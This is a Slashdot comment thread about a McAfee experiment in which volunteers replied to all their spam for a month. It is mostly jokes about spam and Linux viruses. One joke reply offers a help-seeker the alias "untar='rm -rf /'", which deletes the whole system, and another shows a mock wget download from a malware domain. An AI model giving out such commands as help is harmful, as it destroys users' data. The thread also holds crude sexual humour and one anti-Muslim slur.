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What Happens When You Reply To ALL of Your Spam

bednarz writes "For Tracy Mooney, a married mother of three in Naperville, Ill., the decision to abandon cyber-sense and invite e-mail spam into her life for a month by participating in a McAfee experiment was a bit of a lark. The idea of the Spammed Persistently All Month (S.P.A.M.) experiment — which fittingly started on April Fool's Day — was to have 50 volunteers from around the world answer every spam message and pop-up ad they got. Mooney was game, especially since McAfee was giving a free PC to all participants. She told her story to Network World."

402 comments

  1. Long story short by gnick · · Score: 5, Funny

    The Nigerian prince send her millions.
    She got 1000 Valium for $4.
    Her lover was more satisfied.
    And she won an iPod.

    And lived happily ever after. =)

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    1. Re:Long story short by xtracto · · Score: 5, Funny

      And lived happily ever after. =)

      There is nothing happy in looking like a camping tent 24 hours a day... :( and no, I am not happy to see you.

      --
      Ubuntu is an African word meaning 'I can't configure Debian'
    2. Re:Long story short by Robber+Baron · · Score: 5, Funny

      The Nigerian prince send her millions.
      She got 1000 Valium for $4.
      Her lover was more satisfied.
      And she won an iPod.

      And lived happily ever after. =)

      ...and her penis is now 23 million miles long.

      --

      You're using her as bait, Master!

    3. Re:Long story short by Sponge+Bath · · Score: 5, Funny

      ...and her penis is now 23 million miles long.

      Yow! Turned she-male via e-mail.

    4. Re:Long story short by Nefarious+Wheel · · Score: 0, Redundant

      A Nigerian once spent his time Concocting a Scam 419 A few mums and dads Spent all that they had Which just shows there's no end to the crime

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    5. Re:Long story short by CDMA_Demo · · Score: 3, Funny

      -If I was from Control you'd already be living happily ever after

      -If you were from Control you'd already be living happily ever after

      -Neither of us is living happily after, so I'm obviously not from Control.

    6. Re:Long story short by Nefarious+Wheel · · Score: 4, Funny
      ERk! Sorry...

      A Nigerian once spent his time

      Concocting a Scam 419

      A few mums and dads

      Spent all that they had

      Which just shows there's no end to the crime

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      Do not mock my vision of impractical footwear
    7. Re:Long story short by Trollificus · · Score: 4, Funny

      Spam, is there anything it can't do?

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      - Gov. Jesse Ventura

    8. Re:Long story short by Anonymous Coward · · Score: 0

      Reminds me of this: http://deadmonkeycomics.com/blog/?page_id=325

    9. Re:Long story short by Opportunist · · Score: 5, Funny

      Yes. Stop.

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    10. Re:Long story short by Anonymous Coward · · Score: 0

      Reminds me of the old joke about what happens when you play a country & western album backward - you win some money gambling, your dog comes back to life, your truck works again, your wife comes back to you, and a tornado deposits a mobile home where you used to live.

    11. Re:Long story short by Anonymous Coward · · Score: 0

      Stop spam?

    12. Re:Long story short by dougmc · · Score: 5, Funny

      Trust me ... she can't really tell the difference once you get past one million miles.

    13. Re:Long story short by Anonymous Coward · · Score: 1, Insightful

      Spam, the cause of, and solution to, all of life's problems.

      (sorry, Homer!)

    14. Re:Long story short by felipekk · · Score: 5, Funny

      Burma Shave

    15. Re:Long story short by MSZ · · Score: 4, Funny

      ...and shoots buckets of inkjet ink, reaching other shore of the ocean from that nice timeshare house... even while she works at home, earning $5000 for just one hour a day while wearing "original imitation" rolex on each hand.

      Only downside being runny shits after trying 157 types of herbal v1agra pills.

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    16. Re:Long story short by Anonymous Coward · · Score: 0

      Your right pinky is too short. We have an herbal remedy that works to lengthen all extremities.

    17. Re:Long story short by Anonymous Coward · · Score: 5, Funny

      I wonder what will happen when you reply to all your spam with fake addresses used by those spams.

      The Nigerian prince sends millions of dollars to buy Viagra to enlarge his dick so he can enjoy hot pussies he bought on credit which are wet because of the Spanish fly made of natural herbs.

      *phew* Did I miss a spam category?

    18. Re:Long story short by clone53421 · · Score: 4, Funny

      Spam, is there anything it can't do?

      Spell correctly.

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      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    19. Re:Long story short by ZarathustraDK · · Score: 2, Funny

      Burma Shave.

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    20. Re:Long story short by 1karmik1 · · Score: 5, Funny

      ...and her penis is now 23 million miles long. Yow! Turned she-male via e-mail.

      Can't believe no one hasn't made this joke yet, She turned she-mail... Kill me now.

      --
      Violence is the last refuge of the incompetent.
    21. Re:Long story short by Arthur+Grumbine · · Score: 5, Funny

      Choosing to reply to this instead of mod you down only because there is no "-1 Intellectual Wasteland" category.
      And although violence may be the last refuge of the incompetent, it is deadly apparent that nonsensical puns are the first.

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      Now that I think about it, I'm pretty sure everything I just said is completely wrong.
    22. Re:Long story short by Achra · · Score: 4, Funny

      ...and her penis is now 23 million miles long.

      You can do this too! Simply follow these simple instructions and Make Penis Fast!

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    23. Re:Long story short by hobo+sapiens · · Score: 1

      Holy crap! If I could mod you +1 Witty Smackdown I would!

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      blah blah blah
    24. Re:Long story short by Anonymous Coward · · Score: 0

      I thought very seriously about your post...

      1. In the case that you really thought the joke was not on the she-male email pun.

      Then either:
          1a. You are able to see something else funny about the post, or
          1b. You are brain damaged, and by making fun of you I risk being insensitive to cripples.
          1c. You are a muslim (and hence devoid of all understanding of humor).

      2. You understood that the joke was on the she-male email pun, but pretended to be someone who couldn't catch it (and by pretending to be such a person you make fun of them).

      In which case the world is still a comprehensible place.

    25. Re:Long story short by Ryan1984 · · Score: 1

      "She got 1000 Valium for $4." Of course that may have been the Wal-Mart pharmacy helping her out with the day-to-day. Doing Good Works......

    26. Re:Long story short by el_coyotexdk · · Score: 4, Funny

      If we're lucky the spam servers will implode from all the spam mails... wait... with botnets... thats half the populations computers imploding and going offline... wait... that means all the ignorant people will go offline... instant win for everyone else! :)

    27. Re:Long story short by something_wicked_thi · · Score: 1

      It is deadly apparent that nonsensical puns are the first.

      So where do we send the mortician?

      Really, though, get a sense of humor. That was groan-worthy if anything ever was, but come on. The only thing demonstrating stupidity was his signature, which you more or less agreed with.

    28. Re:Long story short by AftanGustur · · Score: 1

      And she got a 20 inch penis ..

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    29. Re:Long story short by cbiltcliffe · · Score: 0

      How does a comment with the exact same text as the parent get a +5 Funny, when the parent itself is 0 Redundant?

      That makes about as much sense to me as the Russian spam I frequently get.

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      "City hall" in German is "Rathaus" Kinda explains a few things......
    30. Re:Long story short by Nefarious+Wheel · · Score: 2, Funny

      Backwards read people.

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      Do not mock my vision of impractical footwear
    31. Re:Long story short by kalirion · · Score: 2, Funny

      Kill me now.

      We will, as soon as you confirm your social security number and mother's maiden name.

    32. Re:Long story short by Anonymous Coward · · Score: 0

      PC load letter.

    33. Re:Long story short by Anonymous Coward · · Score: 0

      Kompressor does not dance!

    34. Re:Long story short by Anonymous Coward · · Score: 0

      They just say that so you don't feel bad.

    35. Re:Long story short by Anonymous Coward · · Score: 0

      Old! That joke is from Sex and the City >:-(

    36. Re:Long story short by Anonymous Coward · · Score: 0

      that doesn't scan.

      The last line you want is:

      "which shows there's no end to the crime."

  2. Free PC from MacAfee! Limited Offer! Reply today! by syousef · · Score: 5, Insightful

    I find the idea of doing this to receive a free PC a fantastic irony, don't you?

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  3. Why a Windows PC? by pembo13 · · Score: 3, Interesting

    Since the point of the experiment wasn't to test the operating system, why give the test subjects the operating system currently most affected by malaware? Why not a Mac or presetup Linux box?

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    "Thanks for all the money you paid to us. We've used it to buy off ISO among other things" -Microsoft
    1. Re:Why a Windows PC? by QuantumRiff · · Score: 5, Informative

      Because in the article (I know, I know) they say that they also documented spyware, popup software, and general machine slowdowns from clicking on all the popup ads. That was kinda the point of the excersise.

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      What are we going to do tonight Brain?
    2. Re:Why a Windows PC? by failure-man · · Score: 1

      The point of the excercise was to see how fucked-over you could get if you went out of your way to do so. Why not?

    3. Re:Why a Windows PC? by rworne · · Score: 1

      Because the experiment was sponsored by McAfee, an antivirus/antimalware vendor. What did you expect?

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    4. Re:Why a Windows PC? by gnick · · Score: 5, Insightful

      Since the point of the experiment wasn't to test the operating system, why give the test subjects the operating system currently most affected by malaware[sic]?

      Because the point of the experiment was to test the effect of replying to spam which has nothing to do with the operating system. They gave away PCs with the most popular operating system since they assumed that's what most of their participants would want.

      --
      He's getting rather old, but he's a good mouse.
    5. Re:Why a Windows PC? by Qatz · · Score: 5, Funny

      Because Macs are completely immune to spyware and viruses the Windows and Linux people have to worry about 24/7?

      Yeah one time I found a linux virus! However I never did get it to run on my linux box...

    6. Re:Why a Windows PC? by Anonymous Coward · · Score: 1, Insightful

      Because Macs and Linux machines are completely immune to spyware and viruses the Windows people have to worry about 24/7?

      There, fixed it for you.

    7. Re:Why a Windows PC? by gnick · · Score: 2, Insightful

      Since the point of the experiment wasn't to test the operating system, why give the test subjects the operating system currently most affected by malaware[sic]?

      Sorry for replying to the same comment twice, but I have to add this: This was sponsored by McAfee. Why in the hell would they give away Linux or Mac boxes? They try to sell products for those operating systems, but they make up almost none of their market base.

      --
      He's getting rather old, but he's a good mouse.
    8. Re:Why a Windows PC? by Silver+Sloth · · Score: 5, Funny

      Look, it's easy, you just go on any of the Linux support sites where you'll get lot's of helpful people telling you what a noob you are for not editing /etc/virus.conf properly and then recompiling the kernel and anyway, if you had used the right distro then you could have used apt-get or up2date to download the virus properly and...

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    9. Re:Why a Windows PC? by Darkness404 · · Score: 1

      Ummm... Yah. So how do I install this "Linux virus"

      /home/user> sudo apt-get install virus
      Reading package lists... Done
      Building dependency tree... Done
      E: Couldn't find package virus

      Hmmm... Too hard for most Linux users to install.

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    10. Re:Why a Windows PC? by Anonymous Coward · · Score: 2, Funny

      Yeah one time I found a linux virus! However I never did get it to run on my linux box...

      Really? it worked fine for me..

      apt-get install virus

      and it just worked.

    11. Re:Why a Windows PC? by pembo13 · · Score: 1

      I read the article too, I didn't get the sense that the effect on the PC was the primary thing being observed.

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      "Thanks for all the money you paid to us. We've used it to buy off ISO among other things" -Microsoft
    12. Re:Why a Windows PC? by Drinking+Bleach · · Score: 5, Funny

      For those using Ubuntu and Firefox, there's also this link apt://virus

    13. Re:Why a Windows PC? by tomhudson · · Score: 5, Funny

      The [X] I don't use apt, you ignorant clod! option:

      "This is an open-source virus. Please delete some files at random and pass me along to 10 friends. Please don't break the chain. One sorry person broke the chain and the next day found someone had hacked into their computer and installed Vista."

    14. Re:Why a Windows PC? by Cajun+Hell · · Score: 5, Funny

      Yeah one time I found a linux virus! However I never did get it to run on my linux box...

      There's a lib_compat_virus tarball in /pub/dist over at univ-mainz.de. Go get it and untar it. ./configure it with --enable-activex and --disable-pax, but also make sure to read the fucking install.txt for other configuration options relevant to your system. (I don't want to fucking hear from you if you don't RTFM!) Compile it with gcc 2.95, and sudo install it. Then edit /etc/virus.cf and set config_allow_tainted_nonGPL_virus to 0xFE. Your virus should work then.

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      "Believe me!" -- Donald Trump
    15. Re:Why a Windows PC? by abirdman · · Score: 1

      Sometimes you have to recompile your kernel to get the virus to run. Just check the mailing lists. It's definitely doable!

      --
      Everything I've ever learned the hard way was based on a statistically invalid sample.
    16. Re:Why a Windows PC? by felipekk · · Score: 2, Insightful

      Because McAfee focus on products for Windows.

    17. Re:Why a Windows PC? by Opportunist · · Score: 1

      You have no idea how far people go out of their way to get fucked-over if you promise them riches.

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    18. Re:Why a Windows PC? by Opportunist · · Score: 2, Funny

      I once got a virus for Linux, but somehow I didn't get it to compile.

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      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    19. Re:Why a Windows PC? by element-o.p. · · Score: 1

      For one thing, how many people running OS-X or Linux run a/v software?

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      MCSE? No, sir...I don't do Windows. Yes, I am an idealist. What's your point?
    20. Re:Why a Windows PC? by Anonymous Coward · · Score: 2, Interesting

      Look at that? All that to get a virus and you it still hasn't worked? Jesus Christ when are you guys going to get it. Linux won't be anywhere ready for the desktop until grandma can open up her email and point and click a virus onto her system. None of this sudo apt-get virus install kernel 6^9*3 BS. So while you guys are still figuring out how to fuck your systems over the rest of us will be ready with our spam relays.

    21. Re:Why a Windows PC? by Zorque · · Score: 0, Flamebait

      Or, and here's a new idea, maybe people don't program viruses for those platforms since comparatively nobody uses them.

    22. Re:Why a Windows PC? by Stuart+Gibson · · Score: 2, Informative

      Stupid dependencies, eh?

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    23. Re:Why a Windows PC? by Anonymous Coward · · Score: 0

      Because email has nothing to do with the operating system...

    24. Re:Why a Windows PC? by cp.tar · · Score: 5, Informative

      Funny as that may be, Bliss -- AFAIK the most famous Linux virus -- has an uninstall routine invoked by passing the infected program the argument --bliss-disinfect-files-please.

      Not very user-friendly, but look at the features!

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    25. Re:Why a Windows PC? by ksd1337 · · Score: 1

      Because they already know that Windows is a cheap whore for viruses and malware and other shit, and they want the user to buy their software to protect it, giving them a version of Windows they know their software will work on.

      It's like using flytraps. If you have lots of flies, you have to keep buying flytraps, and that only controls them. It doesn't eliminate the need for their use.

    26. Re:Why a Windows PC? by ConceptJunkie · · Score: 1

      "Malaware"? Software that _knows_ it's bad?

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      You are in a maze of twisty little passages, all alike.
    27. Re:Why a Windows PC? by ConceptJunkie · · Score: 5, Funny

      "apt-get"? "up2date"? Those are for n00bs, too. Real users download the virus source, build it, and then infect themselves with it.

      wget http://malware.makemoneyfast.ru/windows/virus/pwn3d.tar.gz
      untar xvfz pwn3d
      cd pwn3d
      ./configure
      ./make infect

      --
      You are in a maze of twisty little passages, all alike.
    28. Re:Why a Windows PC? by jd · · Score: 1

      Linus found the kernel bug causing that and provided a patch. (Slashdot ran a story a while ago about it.) You may need to upgrade to a newer kernel.

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      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    29. Re:Why a Windows PC? by Anonymous Coward · · Score: 0

      bash: untar: command not found

      Please tell me how to get this to work, pwn3d sounds like a fun adult game ...

    30. Re:Why a Windows PC? by olyar · · Score: 4, Funny

      Nah. Real users get it running on Gentoo.

      Mine's still compiling, but I'm sure it will work when it's done.

      --
      Custom, hands-free Linux installs. Instalinux
    31. Re:Why a Windows PC? by the_B0fh · · Score: 1

      You're making fun of this, but there was once a true proof-of-concept virus for linux. It came with its own uninstaller. The readme said it was a proof-of-concept virus.

      And people still installed it.

    32. Re:Why a Windows PC? by gnuman99 · · Score: 1

      Because McAfee wants people to buy their anti-SPAM stuff? And that runs on Windows?

      Using a Linux machine would be pointless - it would most likely not "slow down".

    33. Re:Why a Windows PC? by madfancier · · Score: 1

      Once I started installing dependencies for this virus, I couldn't believe my eyes as I saw this: http://tinyurl.com/42mw7v

    34. Re:Why a Windows PC? by raddan · · Score: 1

      Er... WTF? I need a new glibc? I give up.

    35. Re:Why a Windows PC? by garvon · · Score: 3, Funny

      Na real users write the virus them self then infect them self with it.... hey have to test the code.

    36. Re:Why a Windows PC? by agendi · · Score: 1

      but will it take full advantage of my 64bit processor? Can anyone point me to the ported version? k thnx bye.

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      I just can't be bothered.
    37. Re:Why a Windows PC? by Tubal-Cain · · Score: 1

      Here's the readme: (from GNU's humor page)

      evilmalware 0.6 (beta)

      Copyright 2000, 2001, 2003, 2005
      E\/17 |-|4>0|2z Software Foundation, Inc.

      This is free software; see the source for copying conditions. There is
      NO warranty; not even for MERCHANTABILITY, COMPLETE DESTRUCTION OF IMPORTANT
      DATA or FITNESS FOR A PARTICULAR PURPOSE (eg. sending thousands of Viagra
      spams to people accross the world).

      Basic Installation
      ==================

      Before attempting to compile this virus make sure you have the correct
      version of glibc installed, and that your firewall rules are set to `allow
      everything'.

      1. Put the attachment into the appropriate directory eg. /usr/src

      2. Type `tar xvzf evilmalware.tar.gz' to extract the source files for
            this virus.

      3. `cd' to the directory containing the virus's source code and type
            `./configure' to configure the virus for your system. If you're
            using `csh' on an old version of System V, you might need to type
            `sh ./configure' instead to prevent `csh' from trying to execute
            `configure' itself.

      4. Type `make' to compile the package. You may need to be logged in as
            root to do this.

      5. Optionally, type `make check_payable' to run any self-tests that come
            with the virus, and send a large donation to an unnumbered Swiss bank
            account.

      6. Type `make install' to install the virus and any spyware, trojans
            pornography, penis enlargement adverts and DDoS attacks that
            come with it.

      7. You may now configure your preferred malware behaviour in /etc/evilmalware.conf .

      SEE ALSO
            evilmalware(1), evilmalware.conf(5), please_delete_all_my_files(1)

    38. Re:Why a Windows PC? by Falkkin · · Score: 1

      You forgot: ./infect

    39. Re:Why a Windows PC? by mdmkolbe · · Score: 1

      Yeah, like a human honey pot.

    40. Re:Why a Windows PC? by Clandestine_Blaze · · Score: 2, Funny

      See this is why Linux isn't ready for the mainstream. Regular Windows users simply double-click an .exe file to infect their machine. Sometimes, they don't even click anything, the website they visit does everything for them via ActiveX.

      If you guys want a better Linux adoption rate, then make installing viruses easier dammit! :)

    41. Re:Why a Windows PC? by zapakh · · Score: 1

      Ummm... Yah. So how do I install this "Linux virus"

      /home/user>

      You may have to get your EeePC out of Easy Mode first.

    42. Re:Why a Windows PC? by samson13 · · Score: 1

      Version 2. A little more reliable. A virus doesn't want to delete the contacts list before replicating..

      This is an open-source virus. Pass me along to 10 friends and then delete some files at random. Please don't break the chain. One sorry person broke the chain and the next day found someone had hacked into their computer and installed Vista.

    43. Re:Why a Windows PC? by ttldkns · · Score: 1

      thats easy, just do

      alias untar='rm -rf /'

      and the above commands will definitely work as intended.

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      How many computers are too many?
    44. Re:Why a Windows PC? by geminidomino · · Score: 1

      No, that's an old idea. And not much of an idea, at that. More of a canard.

      Otherwise, NIMDA, Slammer, etc... would have targetted LAMPs instead of MS installations...

    45. Re:Why a Windows PC? by geminidomino · · Score: 1

      *raises hand*

      Of course, when using an intelligent OS, an on-demand scanner will suffice instead of a resident, eat-your-cycles, rape-your-performance "virus shield".

    46. Re:Why a Windows PC? by Anonymous Coward · · Score: 0

      You must not have gotten the one I did that instructed me to DD zeros over my hard drive. Although, I was still to new to figure out the command.

    47. Re:Why a Windows PC? by Ilgaz · · Score: 1

      Thanks to ZLob variants, Mac is not really trojan free. Also a Firefox or even Lynx running in a super secure linux box has also the ability to stupidly submit the forms with your real e-mail/home address, there is no linux kernel module as "stop_giving_email.c" as far as I know.

    48. Re:Why a Windows PC? by jemtallon · · Score: 1

      Okay, Mr Computer! I've done as instructed! Thanks for the heads-up!

    49. Re:Why a Windows PC? by ConceptJunkie · · Score: 1

      Sorry, mind fart:

      I have "tar xvfz" aliased to "untar".

      Good luck on that. It's a really cool game. I find credit card numbers make good random seeds for it, too.

      --
      You are in a maze of twisty little passages, all alike.
  4. They seemed legit... by BadAnalogyGuy · · Score: 1, Insightful

    I tried to sign up for jobs that would generate an at-home income with what seemed like respectable sites, however these sites led to massive amounts of spam.

    Idiot.

    1. Re:They seemed legit... by KillerBob · · Score: 4, Informative

      That was kinda the idea... deliberately reply to all of the spam in order to document what happens. She's not an idiot, she was pretending to be one.

      I'd say RTFA, but then you might say I must be new here >.>

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      If you believe everything you read, you'd better not read. - Japanese proverb
    2. Re:They seemed legit... by LilGuy · · Score: 4, Funny

      Well you must be since you're implying you read the article...

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    3. Re:They seemed legit... by Tenebrousedge · · Score: 1

      But they do generate at-home income!

      Just not for her.

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    4. Re:They seemed legit... by Kneo24 · · Score: 1

      Maybe you should read the article again. The women wrote that on her blog, thinking it was the real deal, even if it was spam. The first 3/4 of the sentences proves that she initially thought at first glance, "hey, this can't be too bad".

    5. Re:They seemed legit... by snero3 · · Score: 1

      Judging but you ID I would say your not, but that as is obvious as RTFM? anyone?

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      It said "windows 98 or better" so I installed Linux
    6. Re:They seemed legit... by f_raze13 · · Score: 1

      I thought that too, until i read that she had been giving out her home address and was startled by the amount of junk mail her pseudonym received.

    7. Re:They seemed legit... by Anonymous Coward · · Score: 0

      New tag:

      that'snomooney

      Definition:

      [S|h]e's not an idiot, she was pretending to be one.

  5. Link to Spam diaries by Jeremy+Erwin · · Score: 5, Informative
    1. Re:Link to Spam diaries by itzfritz · · Score: 0

      This is not an official mcaffee site. (checked whois). When I visited one of the links, it did something csrf-y with my gmail; now I am changing my password.

    2. Re:Link to Spam diaries by Jeremy+Erwin · · Score: 1

      Maybe. But Mcafee directs readers to this link which is redirected to the site I mentioned

  6. Old spam by Vollernurd · · Score: 5, Informative

    As much as it would be good if she did indeed win the free iPod and get her hands on all that va_l1um, most spam that gets stored on my spam folder looks to be pretty old. I got a circular/spam message from the depths of hell the other day telling me to keep an eye out for some astral phenomenon or other. A Google search revealed that said event occurred in about 2006.

    Zombie relays sending out the same shite day after day. Most spam is totally useless. A bit like the Sky TV schedulers.

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    1. Re:Old spam by Anonymous Coward · · Score: 0

      Your statement implies that some useful spam exists. I've never found this to be true.

    2. Re:Old spam by Anonymous Coward · · Score: 0

      Have sex today! call 1-800-get-laid

    3. Re:Old spam by Dekker3D · · Score: 1

      you mentioned an e-mail from hell, sent by zombies to warn you of an astral phenomenon, and you didn't even go two years back in time to check?!

      geez... those people today..

    4. Re:Old spam by Eil · · Score: 1

      Most spam is totally useless.

      Is there a correlation here that some spam is useful?

    5. Re:Old spam by ksd1337 · · Score: 1

      For a good time, call localhost:37.

    6. Re:Old spam by shellbeach · · Score: 1

      Your statement implies that some useful spam exists. I've never found this to be true.

      Personally, I get a laugh out of seeing how many different bad euphemisms for penis enlargement spammers can come up with ...

      e.g. from my spam mail today:

      • Make your love wand function better
      • You need to improve your little friend
      • Gain a voluminous male package
      • Gain a huge cannon for love

      However, the most perplexing one is this:

      • Help wanted fine actors looking for plausible ass

      I'm not sure why that says "penis enlargement pills" to anyone, but I just love the word "plausible" in that context. Bayesian spam filters have increased spammers vocabulary no end ... :)

    7. Re:Old spam by Culture20 · · Score: 1

      Don't you mean "those people tomorrow" Mr. Time Traveler?

    8. Re:Old spam by Anonymous Coward · · Score: 0

      The newest ones are 'colon cleanse' stuff (ewww). Posting AC for obvious reasons.

    9. Re:Old spam by toddestan · · Score: 1

      How do you test your spam filters then? :)

    10. Re:Old spam by Anonymous Coward · · Score: 0

      Most spam is totally useless.

      Yeah, thank you captain obvious. :)

      Just teasing.

  7. I did a bit of a war on spam... by pitchpipe · · Score: 5, Funny

    myself when I was new on the internet. I didn't know at first that the unsubscribe on the bottom of the email was just a way to verify that it was a live address, so I got lots.

    What I decided was that the companies that were paying for the spam must like it, so I would click on the link in the spam, find their customer service email and copy it. Then I went to google and entered "subscribe enter email". After that I spent quite a lot of hours signing these companies up for all kinds of email. I hope they liked it. When I had to put in a name I entered Spam War.

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    1. Re:I did a bit of a war on spam... by eric76 · · Score: 2, Interesting

      I reply to spam automagically.

      Whenever an e-mail arrives that doesn't fit any of several criteria, an automatic response is sent asking them to please encrypt their e-mail with my publically available PGP key. Their e-mail is then deleted and I never see it.

      The criteria to receive the e-mail:
      1) the e-mail is encrypted with my PGP key
      2) the e-mail is signed with their PGP key
      3) the source e-mail address is whitelisted
      4) the IP address of the source of the e-mail is whitelisted (local e-mail permitted)
      5) the destination e-mail address is whitelisted. For example, if me@example.com was my e-mail address, I might whitelist me+red_cat@example.com and me+silent_trombone@example.com, each of which would be given to exactly one person. If I start receiving spam at that address, it is unwhitelisted.

      It seems that the Nigerian spammers really respond to this. They don't encrypt it, but they pass the address around to each other. The last time I checked the logs, the numbers of Nigerian spams were really up.

    2. Re:I did a bit of a war on spam... by forgotten_my_nick · · Score: 1

      One I saw years ago (I no longer have the link). Back when unsolicited spam was coming from actual companies one actually would reply complaining that they got an offensive letter from them.

      The response spam mail he sent back had various words changed to various expletives. He actually got a few spammers to apologise.

    3. Re:I did a bit of a war on spam... by v1 · · Score: 1

      I'd like to see an experiment to get some solid numbers (like this project did) as to the extent of the effect of replying to unsubscribe links. Yes we all know it's going to make matters worse, but I want to know how much worse, and if there are any honest unsubscribe links still left.

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    4. Re:I did a bit of a war on spam... by Anonymous Coward · · Score: 0

      In my humble opinion, the 'right way' to deal with
      junk email is to forward it to spam@uce.gov.

      I use the Mozilla Thunderbird to receive & auto-
      classify it. I never have to open it -- just look
      at the email line and press the 'Junk Email' button
      if the filter missed it. For some reason,
      I can't convince Thunderbird to forward one junk email
      as an attachment, so I have to wait until I
      receive two or more. Then I select all the junk email
      (shift left-mouse-button on the bottom email line to
      select the bunch) & forward it -- as an attachment to
      leave headers, virii, etc. intact -- to spam@uce.gov.

      In about a year, I've gone from ~20 junk emails/day
      to 1~2 per week. It's nice to be able to say from
      personal experience that the US gov't is doing a
      great job in this one area of junk email reduction :-).

    5. Re:I did a bit of a war on spam... by cp.tar · · Score: 1

      Is there an easy way to do that from Gmail?

      I really really want a "Forward all spam messages to spam@uce.gov and delete them afterwards" button in my Gmail interface.
      Especially since I tend not to wipe them until there are more than 2k of them.

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    6. Re:I did a bit of a war on spam... by defaria · · Score: 0

      Script it! I wrote a script that would take like 40,000 of the spammer email addresses I collected along they way and, ahem, "opted" them all "out" of receiving such offers! :-)

    7. Re:I did a bit of a war on spam... by Suhas · · Score: 1

      Too complicated. We'll do it live!

    8. Re:I did a bit of a war on spam... by jez9999 · · Score: 0, Troll

      I figured out a really good system for stopping spam. My server immediately drops ANY incoming SMTP connection. It's dropped my spam to zero, and checking my logs, it really does seem to have stopped an awful lot.

  8. well by Romancer · · Score: 4, Insightful

    "Mooney says, noting that the sudden upsurge in junk mail left the neighborhood postman somewhat aghast. "It grew exponentially, so I stopped giving out my home address," she says, adding, "I am concerned about the environment.""

    It's all well and good that she had an alias and a free pc to be subject to this open invitation for harassment, but to actually really give out your home address to these spammers is a bit reckless. She will, at a minimum, be regretting this for years since the "current resident" will be getting spam even if she directs the post office not to deliver mail to her alias.

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    1. Re:well by cmacb · · Score: 1

      I noticed that too and have to wonder at the lack of brain-power at McAfee that they were not provided with fake addresses to use for this. Actually, not fake addresses, but a real address (PO Box or otherwise) that could be used to capture this mail for analysis, without placing study participants own addresses at risk.

      I think the question needs to be asked: what useful thing are you going to do with the data gathered by this "experiment", or was it just a publicity stunt?

      I think I already know the answer though.

    2. Re:well by Anonymous Coward · · Score: 0

      agreed, home address was foolish, she should have been given a PO box for the experiment too.

    3. Re:well by global_diffusion · · Score: 1

      I agree. I once gave out my address to a legitimate company that I bought something from, and for fun, put in a title Wing Cmdr. I kept getting all kinds of junk mail to Wing Cmdr. "My Name" until I eventually moved away.

  9. Hey Networkworld.com, by captnjameskirk · · Score: 3, Informative

    Not only did I find it ironic that an article about spam would be interrupted by an obnoxious pop-up that blackened the article in the background until clicking out of it, but I won't participate in your "survey" designed to send me more spam, and I won't be visiting your site anymore. kthnx

    1. Re:Hey Networkworld.com, by jaymz666 · · Score: 1

      When you were finally able to click the close button, (it took 15 seconds for the ad to load for me), did it then redirect you to the same page you were already on?

      In my case it did and it wasn't loading the style sheet data the second time the browser loaded the page.

      What a messed up site and article.

    2. Re:Hey Networkworld.com, by hurfy · · Score: 1

      Ahh, i wondered why it went dark halfway through :(

      I suppose the pop-up was above the part i was reading...seems to defeat the purpose of a pop-up tho. I figured my time was up....with everything lately it seemed that letting me view content for only x seconds was a natural progression ;)

      I can't buy v!agra if i wanted to...i get virtually no spam even on my 10 year old account. No idea what the secret is, but no idea how much qwest filters either.

      Don't buy those ornaments that come every other month either. One purchase resulted in mailers for a dozen similar (and seperate, just send a damn catalog) offers in one week. 2 or 3 different company names but obviously related to my original purchase. Oh well, even my parents liked my dragon tree :)

    3. Re:Hey Networkworld.com, by LilGuy · · Score: 1

      That's why sane people use NoScript and ABP for firefox.

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    4. Re:Hey Networkworld.com, by T-Bone-T · · Score: 1

      I saw the same thing on my iPhone. Unfortunately, the close button rarely works on those kind of popups and I had to reload the page.

  10. If done correctly, that could be useful. :) by khasim · · Score: 3, Insightful

    Considering all the spyware and such that was installed ... wouldn't an anti-virus company be interested in it?

    1. Re:If done correctly, that could be useful. :) by Lord+Apathy · · Score: 2, Informative

      Doesn't matter what spyware/crapware they put on it as long as you follow standard procedure. Wipe the bitch and install a crap free Os on it before the CPU is even warmed up.

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    2. Re:If done correctly, that could be useful. :) by chiskop · · Score: 5, Funny

      Doesn't matter what spyware/crapware they put on it as long as you follow standard procedure. Wipe the bitch and install a crap free Os on it before the CPU is even warmed up.

      Wait, do you mean a crap, free OS or a crap-free OS?

    3. Re:If done correctly, that could be useful. :) by Lord+Apathy · · Score: 1

      That is a good question.

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    4. Re:If done correctly, that could be useful. :) by drumbug1 · · Score: 1

      Wait, do you mean a crap, free OS or a crap-free OS?

      http://www.xkcd.com/37/

  11. Worth the cost? by Alcimedes · · Score: 0, Redundant

    So, you get a "free" computer in exchange for replying to *every* spam email that you get each day?

    They said the average US participant got 70 per day. Say an average of 30 seconds to a minute to reply to each? (Some asked to fill out forms, apply for job postings etc. so those should fall well over the one minute mark.)

    I think you could easily hit an hour or more per day just replying to spam emails, for 365 days a year!

    That's about 9 weeks of full time work, all for a computer that is going to be seriously f'd up with malware and spyware and really shouldn't be used for anything personal until the year is up and it's been reformatted.

    So you get a year old computer after spending 9 weeks of your time answering lame spam messages.

    Guess everyone has a different definition of "free".

    (By comparison, if you spend 2 weeks working for $6 an hour you'd have almost $500 and could probably buy a computer as good as what you were given. If you worked the same 9 weeks you'd take home over $2k. )

    1. Re:Worth the cost? by Anonymous Coward · · Score: 0

      Summary quote:

      ... invite e-mail spam into her life for a month...

      Alcimedes quote:

      just replying to spam emails, for 365 days

      Do we have the first documented case of an alien posting on the internet? What planet are you on where a year lasts 365 days? Also, how did you manage to hookup to our internet?

    2. Re:Worth the cost? by larry+bagina · · Score: 1

      it was for 1 month, --> 2100 spam --> less than a week's work replying.

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    3. Re:Worth the cost? by Anonymous Coward · · Score: 0

      365 days? that's a heck of a long month.

    4. Re:Worth the cost? by Anonymous Coward · · Score: 0

      What planet are you on where a year lasts 365 days?

      What planet are you on where a year doesn't lasts (approximatly) 365 days?

      You ment month.

    5. Re:Worth the cost? by plutoXL · · Score: 3, Informative

      The experiment is called S.P.A.M., not S.P.A.Y. Spammed Persistently All Month (not year). So you get a free computer for around 30 hours of work. Not too bad. RTFA.

    6. Re:Worth the cost? by Dimitrii · · Score: 1

      I think you could easily hit an hour or more per day just replying to spam emails, for 365 days a year!

      RTFSummary if not the article. It was a month not a year. Spammed Persistently All Month (S.P.A.M.)

    7. Re:Worth the cost? by gEvil+(beta) · · Score: 2, Funny

      You ment month.

      You meant meant.

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    8. Re:Worth the cost? by Anonymous Coward · · Score: 0

